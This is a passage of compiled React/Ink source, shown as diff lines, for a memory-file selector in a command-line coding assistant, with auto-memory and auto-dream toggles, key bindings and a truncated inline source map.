| 127 |
+
if (feature("TEAMMEM") && teamMemPaths.isTeamMemoryEnabled()) {
|
| 128 |
+
let t2;
|
| 129 |
+
if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
|
| 130 |
+
t2 = {
|
| 131 |
+
label: "Open team memory folder",
|
| 132 |
+
value: `${OPEN_FOLDER_PREFIX}${teamMemPaths.getTeamMemPath()}`,
|
| 133 |
+
description: ""
|
| 134 |
+
};
|
| 135 |
+
$[1] = t2;
|
| 136 |
+
} else {
|
| 137 |
+
t2 = $[1];
|
| 138 |
+
}
|
| 139 |
+
folderOptions.push(t2);
|
| 140 |
+
}
|
| 141 |
+
for (const agent of agentDefinitions.activeAgents) {
|
| 142 |
+
if (agent.memory) {
|
| 143 |
+
const agentDir = getAgentMemoryDir(agent.agentType, agent.memory);
|
| 144 |
+
folderOptions.push({
|
| 145 |
+
label: `Open ${chalk.bold(agent.agentType)} agent memory`,
|
| 146 |
+
value: `${OPEN_FOLDER_PREFIX}${agentDir}`,
|
| 147 |
+
description: `${agent.memory} scope`
|
| 148 |
+
});
|
| 149 |
+
}
|
| 150 |
+
}
|
| 151 |
+
}
|
| 152 |
+
memoryOptions.push(...folderOptions);
|
| 153 |
+
let t1;
|
| 154 |
+
if ($[2] !== memoryOptions) {
|
| 155 |
+
t1 = lastSelectedPath && memoryOptions.some(_temp4) ? lastSelectedPath : memoryOptions[0]?.value || "";
|
| 156 |
+
$[2] = memoryOptions;
|
| 157 |
+
$[3] = t1;
|
| 158 |
+
} else {
|
| 159 |
+
t1 = $[3];
|
| 160 |
+
}
|
| 161 |
+
const initialPath = t1;
|
| 162 |
+
const [autoMemoryOn, setAutoMemoryOn] = useState(isAutoMemoryEnabled);
|
| 163 |
+
const [autoDreamOn, setAutoDreamOn] = useState(isAutoDreamEnabled);
|
| 164 |
+
const [showDreamRow] = useState(isAutoMemoryEnabled);
|
| 165 |
+
const isDreamRunning = useAppState(_temp6);
|
| 166 |
+
const [lastDreamAt, setLastDreamAt] = useState(null);
|
| 167 |
+
let t2;
|
| 168 |
+
if ($[4] !== showDreamRow) {
|
| 169 |
+
t2 = () => {
|
| 170 |
+
if (!showDreamRow) {
|
| 171 |
+
return;
|
| 172 |
+
}
|
| 173 |
+
readLastConsolidatedAt().then(setLastDreamAt);
|
| 174 |
+
};
|
| 175 |
+
$[4] = showDreamRow;
|
| 176 |
+
$[5] = t2;
|
| 177 |
+
} else {
|
| 178 |
+
t2 = $[5];
|
| 179 |
+
}
|
| 180 |
+
let t3;
|
| 181 |
+
if ($[6] !== isDreamRunning || $[7] !== showDreamRow) {
|
| 182 |
+
t3 = [showDreamRow, isDreamRunning];
|
| 183 |
+
$[6] = isDreamRunning;
|
| 184 |
+
$[7] = showDreamRow;
|
| 185 |
+
$[8] = t3;
|
| 186 |
+
} else {
|
| 187 |
+
t3 = $[8];
|
| 188 |
+
}
|
| 189 |
+
useEffect(t2, t3);
|
| 190 |
+
let t4;
|
| 191 |
+
if ($[9] !== isDreamRunning || $[10] !== lastDreamAt) {
|
| 192 |
+
t4 = isDreamRunning ? "running" : lastDreamAt === null ? "" : lastDreamAt === 0 ? "never" : `last ran ${formatRelativeTimeAgo(new Date(lastDreamAt))}`;
|
| 193 |
+
$[9] = isDreamRunning;
|
| 194 |
+
$[10] = lastDreamAt;
|
| 195 |
+
$[11] = t4;
|
| 196 |
+
} else {
|
| 197 |
+
t4 = $[11];
|
| 198 |
+
}
|
| 199 |
+
const dreamStatus = t4;
|
| 200 |
+
const [focusedToggle, setFocusedToggle] = useState(null);
|
| 201 |
+
const toggleFocused = focusedToggle !== null;
|
| 202 |
+
const lastToggleIndex = showDreamRow ? 1 : 0;
|
| 203 |
+
let t5;
|
| 204 |
+
if ($[12] !== autoMemoryOn) {
|
| 205 |
+
t5 = function handleToggleAutoMemory() {
|
| 206 |
+
const newValue = !autoMemoryOn;
|
| 207 |
+
updateSettingsForSource("userSettings", {
|
| 208 |
+
autoMemoryEnabled: newValue
|
| 209 |
+
});
|
| 210 |
+
setAutoMemoryOn(newValue);
|
| 211 |
+
logEvent("tengu_auto_memory_toggled", {
|
| 212 |
+
enabled: newValue
|
| 213 |
+
});
|
| 214 |
+
};
|
| 215 |
+
$[12] = autoMemoryOn;
|
| 216 |
+
$[13] = t5;
|
| 217 |
+
} else {
|
| 218 |
+
t5 = $[13];
|
| 219 |
+
}
|
| 220 |
+
const handleToggleAutoMemory = t5;
|
| 221 |
+
let t6;
|
| 222 |
+
if ($[14] !== autoDreamOn) {
|
| 223 |
+
t6 = function handleToggleAutoDream() {
|
| 224 |
+
const newValue_0 = !autoDreamOn;
|
| 225 |
+
updateSettingsForSource("userSettings", {
|
| 226 |
+
autoDreamEnabled: newValue_0
|
| 227 |
+
});
|
| 228 |
+
setAutoDreamOn(newValue_0);
|
| 229 |
+
logEvent("tengu_auto_dream_toggled", {
|
| 230 |
+
enabled: newValue_0
|
| 231 |
+
});
|
| 232 |
+
};
|
| 233 |
+
$[14] = autoDreamOn;
|
| 234 |
+
$[15] = t6;
|
| 235 |
+
} else {
|
| 236 |
+
t6 = $[15];
|
| 237 |
+
}
|
| 238 |
+
const handleToggleAutoDream = t6;
|
| 239 |
+
useExitOnCtrlCDWithKeybindings();
|
| 240 |
+
let t7;
|
| 241 |
+
if ($[16] === Symbol.for("react.memo_cache_sentinel")) {
|
| 242 |
+
t7 = {
|
| 243 |
+
context: "Confirmation"
|
| 244 |
+
};
|
| 245 |
+
$[16] = t7;
|
| 246 |
+
} else {
|
| 247 |
+
t7 = $[16];
|
| 248 |
+
}
|
| 249 |
+
useKeybinding("confirm:no", onCancel, t7);
|
| 250 |
+
let t8;
|
| 251 |
+
if ($[17] !== focusedToggle || $[18] !== handleToggleAutoDream || $[19] !== handleToggleAutoMemory) {
|
| 252 |
+
t8 = () => {
|
| 253 |
+
if (focusedToggle === 0) {
|
| 254 |
+
handleToggleAutoMemory();
|
| 255 |
+
} else {
|
| 256 |
+
if (focusedToggle === 1) {
|
| 257 |
+
handleToggleAutoDream();
|
| 258 |
+
}
|
| 259 |
+
}
|
| 260 |
+
};
|
| 261 |
+
$[17] = focusedToggle;
|
| 262 |
+
$[18] = handleToggleAutoDream;
|
| 263 |
+
$[19] = handleToggleAutoMemory;
|
| 264 |
+
$[20] = t8;
|
| 265 |
+
} else {
|
| 266 |
+
t8 = $[20];
|
| 267 |
+
}
|
| 268 |
+
let t9;
|
| 269 |
+
if ($[21] !== toggleFocused) {
|
| 270 |
+
t9 = {
|
| 271 |
+
context: "Confirmation",
|
| 272 |
+
isActive: toggleFocused
|
| 273 |
+
};
|
| 274 |
+
$[21] = toggleFocused;
|
| 275 |
+
$[22] = t9;
|
| 276 |
+
} else {
|
| 277 |
+
t9 = $[22];
|
| 278 |
+
}
|
| 279 |
+
useKeybinding("confirm:yes", t8, t9);
|
| 280 |
+
let t10;
|
| 281 |
+
if ($[23] !== lastToggleIndex) {
|
| 282 |
+
t10 = () => {
|
| 283 |
+
setFocusedToggle(prev => prev !== null && prev < lastToggleIndex ? prev + 1 : null);
|
| 284 |
+
};
|
| 285 |
+
$[23] = lastToggleIndex;
|
| 286 |
+
$[24] = t10;
|
| 287 |
+
} else {
|
| 288 |
+
t10 = $[24];
|
| 289 |
+
}
|
| 290 |
+
let t11;
|
| 291 |
+
if ($[25] !== toggleFocused) {
|
| 292 |
+
t11 = {
|
| 293 |
+
context: "Select",
|
| 294 |
+
isActive: toggleFocused
|
| 295 |
+
};
|
| 296 |
+
$[25] = toggleFocused;
|
| 297 |
+
$[26] = t11;
|
| 298 |
+
} else {
|
| 299 |
+
t11 = $[26];
|
| 300 |
+
}
|
| 301 |
+
useKeybinding("select:next", t10, t11);
|
| 302 |
+
let t12;
|
| 303 |
+
if ($[27] === Symbol.for("react.memo_cache_sentinel")) {
|
| 304 |
+
t12 = () => {
|
| 305 |
+
setFocusedToggle(_temp7);
|
| 306 |
+
};
|
| 307 |
+
$[27] = t12;
|
| 308 |
+
} else {
|
| 309 |
+
t12 = $[27];
|
| 310 |
+
}
|
| 311 |
+
let t13;
|
| 312 |
+
if ($[28] !== toggleFocused) {
|
| 313 |
+
t13 = {
|
| 314 |
+
context: "Select",
|
| 315 |
+
isActive: toggleFocused
|
| 316 |
+
};
|
| 317 |
+
$[28] = toggleFocused;
|
| 318 |
+
$[29] = t13;
|
| 319 |
+
} else {
|
| 320 |
+
t13 = $[29];
|
| 321 |
+
}
|
| 322 |
+
useKeybinding("select:previous", t12, t13);
|
| 323 |
+
const t14 = focusedToggle === 0;
|
| 324 |
+
const t15 = autoMemoryOn ? "on" : "off";
|
| 325 |
+
let t16;
|
| 326 |
+
if ($[30] !== t15) {
|
| 327 |
+
t16 = <Text>Auto-memory: {t15}</Text>;
|
| 328 |
+
$[30] = t15;
|
| 329 |
+
$[31] = t16;
|
| 330 |
+
} else {
|
| 331 |
+
t16 = $[31];
|
| 332 |
+
}
|
| 333 |
+
let t17;
|
| 334 |
+
if ($[32] !== t14 || $[33] !== t16) {
|
| 335 |
+
t17 = <ListItem isFocused={t14}>{t16}</ListItem>;
|
| 336 |
+
$[32] = t14;
|
| 337 |
+
$[33] = t16;
|
| 338 |
+
$[34] = t17;
|
| 339 |
+
} else {
|
| 340 |
+
t17 = $[34];
|
| 341 |
+
}
|
| 342 |
+
let t18;
|
| 343 |
+
if ($[35] !== autoDreamOn || $[36] !== dreamStatus || $[37] !== focusedToggle || $[38] !== isDreamRunning || $[39] !== showDreamRow) {
|
| 344 |
+
t18 = showDreamRow && <ListItem isFocused={focusedToggle === 1} styled={false}><Text color={focusedToggle === 1 ? "suggestion" : undefined}>Auto-dream: {autoDreamOn ? "on" : "off"}{dreamStatus && <Text dimColor={true}> · {dreamStatus}</Text>}{!isDreamRunning && autoDreamOn && <Text dimColor={true}> · /dream to run</Text>}</Text></ListItem>;
|
| 345 |
+
$[35] = autoDreamOn;
|
| 346 |
+
$[36] = dreamStatus;
|
| 347 |
+
$[37] = focusedToggle;
|
| 348 |
+
$[38] = isDreamRunning;
|
| 349 |
+
$[39] = showDreamRow;
|
| 350 |
+
$[40] = t18;
|
| 351 |
+
} else {
|
| 352 |
+
t18 = $[40];
|
| 353 |
+
}
|
| 354 |
+
let t19;
|
| 355 |
+
if ($[41] !== t17 || $[42] !== t18) {
|
| 356 |
+
t19 = <Box flexDirection="column" marginBottom={1}>{t17}{t18}</Box>;
|
| 357 |
+
$[41] = t17;
|
| 358 |
+
$[42] = t18;
|
| 359 |
+
$[43] = t19;
|
| 360 |
+
} else {
|
| 361 |
+
t19 = $[43];
|
| 362 |
+
}
|
| 363 |
+
let t20;
|
| 364 |
+
if ($[44] !== onSelect) {
|
| 365 |
+
t20 = value => {
|
| 366 |
+
if (value.startsWith(OPEN_FOLDER_PREFIX)) {
|
| 367 |
+
const folderPath = value.slice(OPEN_FOLDER_PREFIX.length);
|
| 368 |
+
mkdir(folderPath, {
|
| 369 |
+
recursive: true
|
| 370 |
+
}).catch(_temp8).then(() => openPath(folderPath));
|
| 371 |
+
return;
|
| 372 |
+
}
|
| 373 |
+
lastSelectedPath = value;
|
| 374 |
+
onSelect(value);
|
| 375 |
+
};
|
| 376 |
+
$[44] = onSelect;
|
| 377 |
+
$[45] = t20;
|
| 378 |
+
} else {
|
| 379 |
+
t20 = $[45];
|
| 380 |
+
}
|
| 381 |
+
let t21;
|
| 382 |
+
if ($[46] !== lastToggleIndex) {
|
| 383 |
+
t21 = () => setFocusedToggle(lastToggleIndex);
|
| 384 |
+
$[46] = lastToggleIndex;
|
| 385 |
+
$[47] = t21;
|
| 386 |
+
} else {
|
| 387 |
+
t21 = $[47];
|
| 388 |
+
}
|
| 389 |
+
let t22;
|
| 390 |
+
if ($[48] !== initialPath || $[49] !== memoryOptions || $[50] !== onCancel || $[51] !== t20 || $[52] !== t21 || $[53] !== toggleFocused) {
|
| 391 |
+
t22 = <Select defaultFocusValue={initialPath} options={memoryOptions} isDisabled={toggleFocused} onChange={t20} onCancel={onCancel} onUpFromFirstItem={t21} />;
|
| 392 |
+
$[48] = initialPath;
|
| 393 |
+
$[49] = memoryOptions;
|
| 394 |
+
$[50] = onCancel;
|
| 395 |
+
$[51] = t20;
|
| 396 |
+
$[52] = t21;
|
| 397 |
+
$[53] = toggleFocused;
|
| 398 |
+
$[54] = t22;
|
| 399 |
+
} else {
|
| 400 |
+
t22 = $[54];
|
| 401 |
+
}
|
| 402 |
+
let t23;
|
| 403 |
+
if ($[55] !== t19 || $[56] !== t22) {
|
| 404 |
+
t23 = <Box flexDirection="column" width="100%">{t19}{t22}</Box>;
|
| 405 |
+
$[55] = t19;
|
| 406 |
+
$[56] = t22;
|
| 407 |
+
$[57] = t23;
|
| 408 |
+
} else {
|
| 409 |
+
t23 = $[57];
|
| 410 |
+
}
|
| 411 |
+
return t23;
|
| 412 |
+
}
|
| 413 |
+
function _temp8() {}
|
| 414 |
+
function _temp7(prev_0) {
|
| 415 |
+
return prev_0 !== null && prev_0 > 0 ? prev_0 - 1 : prev_0;
|
| 416 |
+
}
|
| 417 |
+
function _temp6(s_0) {
|
| 418 |
+
return Object.values(s_0.tasks).some(_temp5);
|
| 419 |
+
}
|
| 420 |
+
function _temp5(t) {
|
| 421 |
+
return t.type === "dream" && t.status === "running";
|
| 422 |
+
}
|
| 423 |
+
function _temp4(opt) {
|
| 424 |
+
return opt.value === lastSelectedPath;
|
| 425 |
+
}
|
| 426 |
+
function _temp3(s) {
|
| 427 |
+
return s.agentDefinitions;
|
| 428 |
+
}
|
| 429 |
+
function _temp2(f_2) {
|
| 430 |
+
return {
|
| 431 |
+
...f_2,
|
| 432 |
+
exists: true
|
| 433 |
+
};
|
| 434 |
+
}
|
| 435 |
+
function _temp(f_1) {
|
| 436 |
+
return f_1.type !== "AutoMem" && f_1.type !== "TeamMem";
|
| 437 |
+
}
|
| 438 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiY2hhbGsiLCJta2RpciIsImpvaW4iLCJSZWFjdCIsInVzZSIsInVzZUVmZmVjdCIsInVzZVN0YXRlIiwiZ2V0T3JpZ2luYWxDd2QiLCJ1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MiLCJCb3giLCJUZXh0IiwidXNlS2V5YmluZGluZyIsImdldEF1dG9NZW1QYXRoIiwiaXNBdXRvTWVtb3J5RW5hYmxlZCIsImxvZ0V2ZW50IiwiaXNBdXRvRHJlYW1FbmFibGVkIiwicmVhZExhc3RDb25zb2xpZGF0ZWRBdCIsInVzZUFwcFN0YXRlIiwiZ2V0QWdlbnRNZW1vcnlEaXIiLCJvcGVuUGF0aCIsImdldE1lbW9yeUZpbGVzIiwiTWVtb3J5RmlsZUluZm8iLCJnZXRDbGF1ZGVDb25maWdIb21lRGlyIiwiZ2V0RGlzcGxheVBhdGgiLCJmb3JtYXRSZWxhdGl2ZVRpbWVBZ28iLCJwcm9qZWN0SXNJbkdpdFJlcG8iLCJ1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSIsIlNlbGVjdCIsIkxpc3RJdGVtIiwidGVhbU1lbVBhdGhzIiwicmVxdWlyZSIsIkV4dGVuZGVkTWVtb3J5RmlsZUluZm8iLCJpc05lc3RlZCIsImV4aXN0cyIsImxhc3RTZWxlY3RlZFBhdGgiLCJPUEVOX0ZPTERFUl9QUkVGSVgiLCJQcm9wcyIsIm9uU2VsZWN0IiwicGF0aCIsIm9uQ2FuY2VsIiwiTWVtb3J5RmlsZVNlbGVjdG9yIiwidDAiLCIkIiwiX2MiLCJleGlzdGluZ01lbW9yeUZpbGVzIiwidXNlck1lbW9yeVBhdGgiLCJwcm9qZWN0TWVtb3J5UGF0aCIsImhhc1VzZXJNZW1vcnkiLCJzb21lIiwiZiIsImhhc1Byb2plY3RNZW1vcnkiLCJmXzAiLCJhbGxNZW1vcnlGaWxlcyIsImZpbHRlciIsIl90ZW1wIiwibWFwIiwiX3RlbXAyIiwidHlwZSIsImNvbnN0IiwiY29udGVudCIsImRlcHRocyIsIk1hcCIsIm1lbW9yeU9wdGlvbnMiLCJmaWxlIiwiZGlzcGxheVBhdGgiLCJleGlzdHNMYWJlbCIsImRlcHRoIiwicGFyZW50IiwiZ2V0Iiwic2V0IiwiaW5kZW50IiwicmVwZWF0IiwibGFiZWwiLCJkZXNjcmlwdGlvbiIsImlzR2l0IiwidmFsdWUiLCJmb2xkZXJPcHRpb25zIiwiYWdlbnREZWZpbml0aW9ucyIsIl90ZW1wMyIsInQxIiwiU3ltYm9sIiwiZm9yIiwicHVzaCIsImlzVGVhbU1lbW9yeUVuYWJsZWQiLCJ0MiIsImdldFRlYW1NZW1QYXRoIiwiYWdlbnQiLCJhY3RpdmVBZ2VudHMiLCJtZW1vcnkiLCJhZ2VudERpciIsImFnZW50VHlwZSIsImJvbGQiLCJfdGVtcDQiLCJpbml0aWFsUGF0aCIsImF1dG9NZW1vcnlPbiIsInNldEF1dG9NZW1vcnlPbiIsImF1dG9EcmVhbU9uIiwic2V0QXV0b0RyZWFtT24iLCJzaG93RHJlYW1Sb3ciLCJpc0RyZWFtUnVubmluZyIsIl90ZW1wNiIsImxhc3REcmVhbUF0Iiwic2V0TGFzdERyZWFtQXQiLCJ0aGVuIiwidDMiLCJ0NCIsIkRhdGUiLCJkcmVhbVN0YXR1cyIsImZvY3VzZWRUb2dnbGUiLCJzZXRGb2N1c2VkVG9nZ2xlIiwidG9nZ2xlRm9jdXNlZCIsImxhc3RUb2dnbGVJbmRleCIsInQ1IiwiaGFuZGxlVG9nZ2xlQXV0b01lbW9yeSIsIm5ld1ZhbHVlIiwiYXV0b01lbW9yeUVuYWJsZWQiLCJlbmFibGVkIiwidDYiLCJoYW5kbGVUb2dnbGVBdXRvRHJlYW0iLCJuZXdWYWx1ZV8wIiwiYXV0b0RyZWFtRW5hYmxlZCIsInQ3IiwiY29udGV4dCIsInQ4IiwidDkiLCJpc0FjdGl2ZSIsInQxMCIsInByZXYiLCJ0MTEiLCJ0MTIiLCJfdGVtcDciLCJ0MTMiLCJ0MTQiLCJ0MTUiLCJ0MTYiLCJ0MTciLCJ0MTgiLCJ1bmRlZmluZWQiLCJ0MTkiLCJ0MjAiLCJzdGFydHNXaXRoIiwiZm9sZGVyUGF0aCIsInNsaWNlIiwibGVuZ3RoIiwicmVjdXJzaXZlIiwiY2F0Y2giLCJfdGVtcDgiLCJ0MjEiLCJ0MjIiLCJ0MjMiLCJwcmV2XzAiLCJzXzAiLCJPYmplY3QiLCJ2YWx1ZXMiLCJzIiwidGFza3MiLCJfdGVtcDUiLCJ0Iiwic3RhdHVzIiwib3B0IiwiZl8yIiwiZl8xIl0sInNvdXJjZXMiOlsiTWVtb3J5RmlsZVNlbGVjdG9yLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgeyBmZWF0dXJlIH0gZnJvbSAnYnVuOmJ1bmRsZSdcbmltcG9ydCBjaGFsayBmcm9tICdjaGFsaydcbmltcG9ydCB7IG1rZGlyIH0gZnJvbSAnZnMvcHJvbWlzZXMnXG5pbXBvcnQgeyBqb2luIH0gZnJvbSAncGF0aCdcbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgdXNlLCB1c2VFZmZlY3QsIHVzZVN0YXRlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBnZXRPcmlnaW5hbEN3ZCB9IGZyb20gJy4uLy4uL2Jvb3RzdHJhcC9zdGF0ZS5qcydcbmltcG9ydCB7IHVzZUV4aXRPbkN0cmxDRFdpdGhLZXliaW5kaW5ncyB9IGZyb20gJy4uLy4uL2hvb2tzL3VzZUV4aXRPbkN0cmxDRFdpdGhLZXliaW5kaW5ncy5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB7IHVzZUtleWJpbmRpbmcgfSBmcm9tICcuLi8uLi9rZXliaW5kaW5ncy91c2VLZXliaW5kaW5nLmpzJ1xuaW1wb3J0IHsgZ2V0QXV0b01lbVBhdGgsIGlzQXV0b01lbW9yeUVuYWJsZWQgfSBmcm9tICcuLi8uLi9tZW1kaXIvcGF0aHMuanMnXG5pbXBvcnQgeyBsb2dFdmVudCB9IGZyb20gJy4uLy4uL3NlcnZpY2VzL2FuYWx5dGljcy9pbmRleC5qcydcbmltcG9ydCB7IGlzQXV0b0RyZWFtRW5hYmxlZCB9IGZyb20gJy4uLy4uL3NlcnZpY2VzL2F1dG9EcmVhbS9jb25maWcuanMnXG5pbXBvcnQgeyByZWFkTGFzdENvbnNvbGlkYXRlZEF0IH0gZnJvbSAnLi4vLi4vc2VydmljZXMvYXV0b0RyZWFtL2NvbnNvbGlkYXRpb25Mb2NrLmpzJ1xuaW1wb3J0IHsgdXNlQXBwU3RhdGUgfSBmcm9tICcuLi8uLi9zdGF0ZS9BcHBTdGF0ZS5qcydcbmltcG9ydCB7IGdldEFnZW50TWVtb3J5RGlyIH0gZnJvbSAnLi4vLi4vdG9vbHMvQWdlbnRUb29sL2FnZW50TWVtb3J5LmpzJ1xuaW1wb3J0IHsgb3BlblBhdGggfSBmcm9tICcuLi8uLi91dGlscy9icm93c2VyLmpzJ1xuaW1wb3J0IHsgZ2V0TWVtb3J5RmlsZXMsIHR5cGUgTWVtb3J5RmlsZUluZm8gfSBmcm9tICcuLi8uLi91dGlscy9jbGF1ZGVtZC5qcydcbmltcG9ydCB7IGdldENsYXVkZUNvbmZpZ0hvbWVEaXIgfSBmcm9tICcuLi8uLi91dGlscy9lbnZVdGlscy5qcydcbmltcG9ydCB7IGdldERpc3BsYXlQYXRoIH0gZnJvbSAnLi4vLi4vdXRpbHMvZmlsZS5qcydcbmltcG9ydCB7IGZvcm1hdFJlbGF0aXZlVGltZUFnbyB9IGZyb20gJy4uLy4uL3V0aWxzL2Zvcm1hdC5qcydcbmltcG9ydCB7IHByb2plY3RJc0luR2l0UmVwbyB9IGZyb20gJy4uLy4uL3V0aWxzL21lbW9yeS92ZXJzaW9ucy5qcydcbmltcG9ydCB7IHVwZGF0ZVNldHRpbmdzRm9yU291cmNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc2V0dGluZ3Mvc2V0dGluZ3MuanMnXG5pbXBvcnQgeyBTZWxlY3QgfSBmcm9tICcuLi9DdXN0b21TZWxlY3QvaW5kZXguanMnXG5pbXBvcnQgeyBMaXN0SXRlbSB9IGZyb20gJy4uL2Rlc2lnbi1zeXN0ZW0vTGlzdEl0ZW0uanMnXG5cbi8qIGVzbGludC1kaXNhYmxlIEB0eXBlc2NyaXB0LWVzbGludC9uby1yZXF1aXJlLWltcG9ydHMgKi9cbmNvbnN0IHRlYW1NZW1QYXRocyA9IGZlYXR1cmUoJ1RFQU1NRU0nKVxuICA/IChyZXF1aXJlKCcuLi8uLi9tZW1kaXIvdGVhbU1lbVBhdGhzLmpzJykgYXMgdHlwZW9mIGltcG9ydCgnLi4vLi4vbWVtZGlyL3RlYW1NZW1QYXRocy5qcycpKVxuICA6IG51bGxcbi8qIGVzbGludC1lbmFibGUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXJlcXVpcmUtaW1wb3J0cyAqL1xuXG5pbnRlcmZhY2UgRXh0ZW5kZWRNZW1vcnlGaWxlSW5mbyBleHRlbmRzIE1lbW9yeUZpbGVJbmZvIHtcbiAgaXNOZXN0ZWQ/OiBib29sZWFuXG4gIGV4aXN0czogYm9vbGVhblxufVxuXG4vLyBSZW1lbWJlciBsYXN0IHNlbGVjdGVkIHBhdGhcbmxldCBsYXN0U2VsZWN0ZWRQYXRoOiBzdHJpbmcgfCB1bmRlZmluZWRcblxuY29uc3QgT1BFTl9GT0xERVJfUFJFRklYID0gJ19fb3Blbl9mb2xkZXJfXydcblxudHlwZSBQcm9wcyA9IHtcbiAgb25TZWxlY3Q6IChwYXRoOiBzdHJpbmcpID0+IHZvaWRcbiAgb25DYW5jZWw6ICgpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIE1lbW9yeUZpbGVTZWxlY3Rvcih7XG4gIG9uU2VsZWN0LFxuICBvbkNhbmNlbCxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgZXhpc3RpbmdNZW1vcnlGaWxlcyA9IHVzZShnZXRNZW1vcnlGaWxlcygpKVxuXG4gIC8vIENyZWF0ZSBlbnRyaWVzIGZvciBVc2VyIGFuZCBQcm9qZWN0IENMQVVERS5tZCBldmVuIGlmIHRoZXkgZG9uJ3QgZXhpc3RcbiAgY29uc3QgdXNlck1lbW9yeVBhdGggPSBqb2luKGdldENsYXVkZUNvbmZpZ0hvbWVEaXIoKSwgJ0NMQVVERS5tZCcpXG4gIGNvbnN0IHByb2plY3RNZW1vcnlQYXRoID0gam9pbihnZXRPcmlnaW5hbEN3ZCgpLCAnQ0xBVURFLm1kJylcblxuICAvLyBDaGVjayBpZiB0aGVzZSBhcmUgYWxyZWFkeSBpbiB0aGUgZXhpc3RpbmcgZmlsZXNcbiAgY29uc3QgaGFzVXNlck1lbW9yeSA9IGV4aXN0aW5nTWVtb3J5RmlsZXMuc29tZShmID0+IGYucGF0aCA9PT0gdXNlck1lbW9yeVBhdGgpXG4gIGNvbnN0IGhhc1Byb2plY3RNZW1vcnkgPSBleGlzdGluZ01lbW9yeUZpbGVzLnNvbWUoXG4gICAgZiA9PiBmLnBhdGggPT09IHByb2plY3RNZW1vcnlQYXRoLFxuICApXG5cbiAgLy8gRmlsdGVyIG91dCBBdXRvTWVtL1RlYW1NZW0gZW50cnlwb2ludHM6IHRoZXNlIGFyZSBNRU1PUlkubWQgZmlsZXMsIGFuZFxuICAvLyAvbWVtb3J5IGFscmVhZHkgc3VyZmFjZXMgXCJPcGVuIGF1dG8tbWVtb3J5IGZvbGRlclwiIC8gXCJPcGVuIHRlYW0gbWVtb3J5XG4gIC8vIGZvbGRlclwiIG9wdGlvbnMgYmVsb3cuIExpc3RpbmcgdGhlIGVudHJ5cG9pbnQgZmlsZSBzZXBhcmF0ZWx5IGlzIHJlZHVuZGFudC5cbiAgY29uc3QgYWxsTWVtb3J5RmlsZXM6IEV4dGVuZGVkTWVtb3J5RmlsZUluZm9bXSA9IFtcbiAgICAuLi5leGlzdGluZ01lbW9yeUZpbGVzXG4gICAgICAuZmlsdGVyKGYgPT4gZi50eXBlICE9PSAnQXV0b01lbScgJiYgZi50eXBlICE9PSAnVGVhbU1lbScpXG4gICAgICAubWFwKGYgPT4gKHsgLi4uZiwgZXhpc3RzOiB0cnVlIH0pKSxcbiAgICAvLyBBZGQgVXNlciBtZW1vcnkgaWYgaXQgZG9lc24ndCBleGlzdFxuICAgIC4uLihoYXNVc2VyTWVtb3J5XG4gICAgICA/IFtdXG4gICAgICA6IFtcbiAgICAgICAgICB7XG4gICAgICAgICAgICBwYXRoOiB1c2VyTWVtb3J5UGF0aCxcbiAgICAgICAgICAgIHR5cGU6ICdVc2VyJyBhcyBjb25zdCxcbiAgICAgICAgICAgIGNvbnRlbnQ6ICcnLFxuICAgICAgICAgICAgZXhpc3RzOiBmYWxzZSxcbiAgICAgICAgICB9LFxuICAgICAgICBdKSxcbiAgICAvLyBBZGQgUHJvamVjdCBtZW1vcnkgaWYgaXQgZG9lc24ndCBleGlzdFxuICAgIC4uLihoYXNQcm9qZWN0TWVtb3J5XG4gICAgICA/IFtdXG4gICAgICA6IFtcbiAgICAgICAgICB7XG4gICAgICAgICAgICBwYXRoOiBwcm9qZWN0TWVtb3J5UGF0aCxcbiAgICAgICAgICAgIHR5cGU6ICdQcm9qZWN0JyBhcyBjb25zdCxcbiAgICAgICAgICAgIGNvbnRlbnQ6ICcnLFxuICAgICAgICAgICAgZXhpc3RzOiBmYWxzZSxcbiAgICAgICAgICB9LFxuICAgICAgICBdKSxcbiAgXVxuXG4gIGNvbnN0IGRlcHRocyA9IG5ldyBNYXA8c3RyaW5nLCBudW1iZXI+KClcblxuICAvLyBDcmVhdGUgb3B0aW9ucyBmb3IgdGhlIHNlbGVjdCBjb21wb25lbnRcbiAgY29uc3QgbWVtb3J5T3B0aW9ucyA9IGFsbE1lbW9yeUZpbGVzLm1hcChmaWxlID0+IHtcbiAgICBjb25zdCBkaXNwbGF5UGF0aCA9IGdldERpc3BsYXlQYXRoKGZpbGUucGF0aClcbiAgICBjb25zdCBleGlzdHNMYWJlbCA9IGZpbGUuZXhpc3RzID8gJycgOiAnIChuZXcpJ1xuXG4gICAgLy8gQ2FsY3VsYXRlIGRlcHRoIGJhc2VkIG9uIHBhcmVudFxuICAgIGNvbnN0IGRlcHRoID0gZmlsZS5wYXJlbnQgPyAoZGVwdGhzLmdldChmaWxlLnBhcmVudCkgPz8gMCkgKyAxIDogMFxuICAgIGRlcHRocy5zZXQoZmlsZS5wYXRoLCBkZXB0aClcbiAgICBjb25zdCBpbmRlbnQgPSBkZXB0aCA+IDAgPyAnICAnLnJlcGVhdChkZXB0aCAtIDEpIDogJydcblxuICAgIC8vIEZvcm1hdCBsYWJlbCBiYXNlZCBvbiB0eXBlXG4gICAgbGV0IGxhYmVsOiBzdHJpbmdcbiAgICBpZiAoXG4gICAgICBmaWxlLnR5cGUgPT09ICdVc2VyJyAmJlxuICAgICAgIWZpbGUuaXNOZXN0ZWQgJiZcbiAgICAgIGZpbGUucGF0aCA9PT0gdXNlck1lbW9yeVBhdGhcbiAgICApIHtcbiAgICAgIGxhYmVsID0gYFVzZXIgbWVtb3J5YFxuICAgIH0gZWxzZSBpZiAoXG4gICAgICBmaWxlLnR5cGUgPT09ICdQcm9qZWN0JyAmJlxuI